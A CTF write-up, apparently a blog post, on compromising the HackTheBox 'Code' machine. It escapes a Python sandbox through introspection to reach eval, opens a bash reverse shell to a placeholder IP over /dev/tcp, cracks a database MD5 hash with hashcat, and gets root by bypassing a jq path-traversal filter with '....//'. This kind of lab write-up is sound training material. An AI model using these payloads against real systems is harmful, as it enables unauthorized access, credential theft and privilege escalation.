π Escaping a Python Sandbox on HTB: Code
Author: 0xtor4sec | Date: May 1, 2025 | Read time: 3 min
HackTheBoxβs Code machine is a brilliant showcase of the risks tied to poorly isolated code execution environments. In this write-up, weβll walk through the complete compromise of the box β from initial recon to root β using Python introspection, sandbox escape techniques, and a clever path traversal bypass with jq.
π 1. Reconnaissance
We start with a simple Nmap scan:
nmap -sV -A code.htb
Relevant open ports:
22/tcp β SSH (OpenSSH 8.2)
5000/tcp β HTTP (Gunicorn running a Flask app)
Navigating to http://code.htb:5000, we find a basic Python code editor allowing users to run snippets in a restricted sandbox environment.
π§ͺ 2. First Attempts & Understanding the Filter
Our first instinct was to try:
import os
os.system("id")
But we were met with:
Use of restricted keywords is not allowed.
Other functions like open()
, eval()
, or exec()
were also blocked β clearly a blacklist-based filter.
π΅οΈ 3. Learning from Known Bypass Techniques
Referring to HackTricks β Bypass Python Sandboxes, we discovered a useful trick: reconstructing filtered keywords via string concatenation.
Example:
'sy' + 'stem'
This would evade static filtering, but still requires access to built-in functions like eval()
β¦ which is also blacklisted.
π 4. Bypassing Filters via Python Introspection
To access eval()
indirectly, we used Python introspection to navigate class hierarchies and extract the __builtins__
object:
for i in range(200):
try:
x = ''.__class__.__bases__[0].__subclasses__()[i].__init__.__globals__['__buil'+'tins__']
if 'ev'+'al' in x:
print(i)
except:
continue
Once we locate it (e.g., index 80), we execute arbitrary code:
x = ''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']
x['ev'+'al']('__import__("os").system("bash -c \\"bash -i >& /dev/tcp/YOUR_IP/4444 0>&1\\"")')
π We now have a reverse shell as user app-production
.
π 5. Exploring Files: app.py & Database Dump
Inside /home/app-production/app/
, we find app.py
β source of the Flask application. The /run_code
endpoint uses exec()
after filtering input, confirming our earlier findings.
We also find a SQLite database at instance/database.db
. To retrieve it:
# On target
python3 -m http.server 8080
# On attacker
wget http://TARGET_IP:8080/instance/database.db
Inside the DB, we recover an MD5 hash for user martin. We crack it using hashcat:
hashcat -m 0 -a 0 martin_hash.txt /usr/share/wordlists/rockyou.txt
With the recovered password, we SSH in as martin
.
π 6. Privilege Escalation via Sudo & jq
Checking sudo -l
reveals:
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh
The script reads a JSON file, filters it with jq to sanitize ../
, then feeds it to /usr/bin/backy
:
jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))'
It attempts to prevent path traversal β but poorly.
π 7. Path Traversal Bypass with ....//
We discovered that using ....//
bypasses the filter. After applying gsub("\\.\\./"; "")
, it becomes ../
again.
Example JSON payload:
{
"directories_to_archive": ["/home/....//root"],
"destination": "/home/martin"
}
We save it as bypass.json
and run:
sudo /usr/bin/backy.sh bypass.json
It generates a .tar
archive in our folder containing /root
. We extract the root flag.
π§ Final Thoughts
This box was a fantastic exercise in:
- Escaping restricted environments using Python introspection
- Bypassing naive string filters with creativity
- Exploiting poor path sanitation logic in
jq
It highlights a critical message:
Never rely solely on blacklists or simplistic regex for security.
Small missteps in sandboxing and file path validation can unravel into full system compromise.
βDon't listen to the person who has all the answers. Listen to the person who has the questions.β